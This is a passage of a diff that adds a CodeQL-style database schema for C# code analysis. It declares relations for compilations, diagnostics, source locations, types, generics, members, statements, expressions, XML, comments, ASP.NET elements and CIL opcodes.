kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 